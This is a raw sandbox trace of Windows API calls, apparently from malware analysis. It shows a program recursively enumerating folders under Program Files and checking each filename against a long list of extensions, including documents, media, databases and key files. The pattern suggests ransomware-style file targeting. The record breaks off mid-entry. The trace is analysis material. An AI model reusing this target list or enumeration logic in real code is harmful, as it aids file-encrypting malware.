[0090.228] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".dib") returned 4 [0090.228] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".dic") returned 4 [0090.228] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".dif") returned 4 [0090.228] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".divx") returned 5 [0090.228] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0090.228] lstrlenW (lpString=".djvu") returned 5 [0090.228] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0090.228] lstrlenW (lpString=".dng") returned 4 [0090.228] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".doc") returned 4 [0090.228] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0090.228] lstrlenW (lpString=".docm") returned 5 [0090.228] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0090.228] lstrlenW (lpString=".docx") returned 5 [0090.228] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0090.228] lstrlenW (lpString=".dot") returned 4 [0090.229] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0090.229] lstrlenW (lpString=".dotm") returned 5 [0090.229] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0090.229] lstrlenW (lpString=".dotx") returned 5 [0090.229] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0090.229] lstrlenW (lpString=".dpx") returned 4 [0090.229] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0090.229] lstrlenW (lpString=".dqy") returned 4 [0090.229] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0090.229] lstrlenW (lpString=".dsn") returned 4 [0090.229] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0090.229] lstrlenW (lpString=".dt") returned 3 [0090.229] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0090.229] lstrlenW (lpString=".dtd") returned 4 [0090.229] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0090.229] lstrlenW (lpString=".dwg") returned 4 [0090.229] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0090.229] lstrlenW (lpString=".dwt") returned 4 [0090.229] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0090.229] lstrlenW (lpString=".dx") returned 3 [0090.229] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0090.229] lstrlenW (lpString=".dxf") returned 4 [0090.229] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0090.229] lstrlenW (lpString=".edml") returned 5 [0090.229] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0090.229] lstrlenW (lpString=".efd") returned 4 [0090.230] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".elf") returned 4 [0090.230] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".emf") returned 4 [0090.230] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".emz") returned 4 [0090.230] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".epf") returned 4 [0090.230] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".eps") returned 4 [0090.230] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".epsf") returned 5 [0090.230] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0090.230] lstrlenW (lpString=".epsp") returned 5 [0090.230] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0090.230] lstrlenW (lpString=".erf") returned 4 [0090.230] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".exr") returned 4 [0090.230] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".f4v") returned 4 [0090.230] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".fido") returned 5 [0090.230] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0090.230] lstrlenW (lpString=".flm") returned 4 [0090.230] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0090.230] lstrlenW (lpString=".flv") returned 4 [0090.231] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".frm") returned 4 [0090.231] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".fxg") returned 4 [0090.231] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".geo") returned 4 [0090.231] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".gif") returned 4 [0090.231] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".grs") returned 4 [0090.231] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".gz") returned 3 [0090.231] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0090.231] lstrlenW (lpString=".h") returned 2 [0090.231] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0090.231] lstrlenW (lpString=".hdr") returned 4 [0090.231] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".hpp") returned 4 [0090.231] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".hta") returned 4 [0090.231] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".htc") returned 4 [0090.231] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".htm") returned 4 [0090.231] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0090.231] lstrlenW (lpString=".html") returned 5 [0090.231] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0090.232] lstrlenW (lpString=".icb") returned 4 [0090.232] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".ics") returned 4 [0090.232] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".iff") returned 4 [0090.232] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".inc") returned 4 [0090.232] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".indd") returned 5 [0090.232] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0090.232] lstrlenW (lpString=".ini") returned 4 [0090.232] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".iqy") returned 4 [0090.232] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".j2c") returned 4 [0090.232] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".j2k") returned 4 [0090.232] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".java") returned 5 [0090.232] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0090.232] lstrlenW (lpString=".jp2") returned 4 [0090.232] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".jpc") returned 4 [0090.232] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0090.232] lstrlenW (lpString=".jpe") returned 4 [0090.232] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".jpeg") returned 5 [0090.233] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0090.233] lstrlenW (lpString=".jpf") returned 4 [0090.233] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".jpg") returned 4 [0090.233] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".jpx") returned 4 [0090.233] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".js") returned 3 [0090.233] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0090.233] lstrlenW (lpString=".jsf") returned 4 [0090.233] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".json") returned 5 [0090.233] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0090.233] lstrlenW (lpString=".jsp") returned 4 [0090.233] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".kdc") returned 4 [0090.233] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".kmz") returned 4 [0090.233] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".kwm") returned 4 [0090.233] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".lasso") returned 6 [0090.233] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0090.233] lstrlenW (lpString=".lbi") returned 4 [0090.233] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0090.233] lstrlenW (lpString=".lgf") returned 4 [0090.234] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".lgp") returned 4 [0090.234] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".log") returned 4 [0090.234] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".m1v") returned 4 [0090.234] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".m4a") returned 4 [0090.234] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".m4v") returned 4 [0090.234] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".max") returned 4 [0090.234] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".md") returned 3 [0090.234] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0090.234] lstrlenW (lpString=".mda") returned 4 [0090.234] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".mdb") returned 4 [0090.234] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".mde") returned 4 [0090.234] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".mdf") returned 4 [0090.234] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0090.234] lstrlenW (lpString=".mdw") returned 4 [0090.234] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mef") returned 4 [0090.235] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mft") returned 4 [0090.235] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mfw") returned 4 [0090.235] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mht") returned 4 [0090.235] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mhtml") returned 6 [0090.235] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0090.235] lstrlenW (lpString=".mka") returned 4 [0090.235] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mkidx") returned 6 [0090.235] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0090.235] lstrlenW (lpString=".mkv") returned 4 [0090.235] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mos") returned 4 [0090.235] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mov") returned 4 [0090.235] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mp3") returned 4 [0090.235] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mp4") returned 4 [0090.235] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0090.235] lstrlenW (lpString=".mpeg") returned 5 [0090.235] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0090.235] lstrlenW (lpString=".mpg") returned 4 [0090.236] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0090.236] lstrlenW (lpString=".mpv") returned 4 [0090.236] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0090.236] lstrlenW (lpString=".mrw") returned 4 [0090.236] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0090.236] lstrlenW (lpString=".msg") returned 4 [0090.236] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0090.236] lstrlenW (lpString=".mxl") returned 4 [0090.236] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0090.236] lstrlenW (lpString=".myd") returned 4 [0090.236] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0090.236] lstrlenW (lpString=".myi") returned 4 [0090.236] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0090.236] lstrlenW (lpString=".nef") returned 4 [0090.236] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0090.236] lstrlenW (lpString=".nrw") returned 4 [0090.236] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0090.236] lstrlenW (lpString=".obj") returned 4 [0090.236] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0090.236] lstrlenW (lpString=".odb") returned 4 [0090.236] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0090.236] lstrlenW (lpString=".odc") returned 4 [0090.236] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0090.236] lstrlenW (lpString=".odm") returned 4 [0090.236] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0090.236] lstrlenW (lpString=".odp") returned 4 [0090.236] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".ods") returned 4 [0090.237] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".oft") returned 4 [0090.237] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".one") returned 4 [0090.237] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".onepkg") returned 7 [0090.237] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0090.237] lstrlenW (lpString=".onetoc2") returned 8 [0090.237] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0090.237] lstrlenW (lpString=".opt") returned 4 [0090.237] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".oqy") returned 4 [0090.237] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".orf") returned 4 [0090.237] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".p12") returned 4 [0090.237] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".p7b") returned 4 [0090.237] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".p7c") returned 4 [0090.237] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".pam") returned 4 [0090.237] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0090.237] lstrlenW (lpString=".pbm") returned 4 [0090.237] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pct") returned 4 [0090.238] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pcx") returned 4 [0090.238] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pdd") returned 4 [0090.238] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pdf") returned 4 [0090.238] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pdp") returned 4 [0090.238] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pef") returned 4 [0090.238] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pem") returned 4 [0090.238] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pff") returned 4 [0090.238] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pfm") returned 4 [0090.238] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pfx") returned 4 [0090.238] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".pgm") returned 4 [0090.238] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0090.238] lstrlenW (lpString=".php") returned 4 [0090.239] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0090.239] lstrlenW (lpString=".php3") returned 5 [0090.239] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0090.239] lstrlenW (lpString=".php4") returned 5 [0090.239] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0090.239] lstrlenW (lpString=".php5") returned 5 [0090.239] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0090.239] lstrlenW (lpString=".phtml") returned 6 [0090.239] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0090.239] lstrlenW (lpString=".pict") returned 5 [0090.239] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0090.239] lstrlenW (lpString=".pl") returned 3 [0090.239] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0090.239] lstrlenW (lpString=".pls") returned 4 [0090.239] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0090.239] lstrlenW (lpString=".pm") returned 3 [0090.239] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0090.239] lstrlenW (lpString=".png") returned 4 [0090.239] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0090.239] lstrlenW (lpString=".pnm") returned 4 [0090.239] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0090.240] lstrlenW (lpString=".pot") returned 4 [0090.240] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0090.240] lstrlenW (lpString=".potm") returned 5 [0090.240] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0090.240] lstrlenW (lpString=".potx") returned 5 [0090.240] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0090.240] lstrlenW (lpString=".ppa") returned 4 [0090.240] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0090.240] lstrlenW (lpString=".ppam") returned 5 [0090.240] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0090.240] lstrlenW (lpString=".ppm") returned 4 [0090.240] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0090.240] lstrlenW (lpString=".pps") returned 4 [0090.240] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0090.240] lstrlenW (lpString=".ppsm") returned 5 [0090.240] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0090.240] lstrlenW (lpString=".ppt") returned 4 [0090.240] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0090.240] lstrlenW (lpString=".pptm") returned 5 [0090.240] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0090.240] lstrlenW (lpString=".pptx") returned 5 [0090.240] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0090.240] lstrlenW (lpString=".prn") returned 4 [0090.240] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0090.240] lstrlenW (lpString=".ps") returned 3 [0090.240] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0090.241] lstrlenW (lpString=".psb") returned 4 [0090.241] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0090.241] lstrlenW (lpString=".psd") returned 4 [0090.241] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0090.241] lstrlenW (lpString=".pst") returned 4 [0090.241] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0090.241] lstrlenW (lpString=".ptx") returned 4 [0090.241] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0090.241] lstrlenW (lpString=".pub") returned 4 [0090.241] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0090.241] lstrlenW (lpString=".pwm") returned 4 [0090.241] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0090.241] lstrlenW (lpString=".pxr") returned 4 [0090.241] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0090.241] lstrlenW (lpString=".py") returned 3 [0090.241] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0090.241] lstrlenW (lpString=".qt") returned 3 [0090.241] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0090.241] lstrlenW (lpString=".r3d") returned 4 [0090.242] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0090.242] lstrlenW (lpString=".raf") returned 4 [0090.242] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0090.242] lstrlenW (lpString=".rar") returned 4 [0090.242] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0090.242] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0090.242] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0090.242] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0090.242] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0090.242] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0090.242] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0090.243] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.243] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0090.243] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0090.243] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0090.243] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0090.243] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0090.243] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0090.243] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260350 [0090.244] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.244] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", 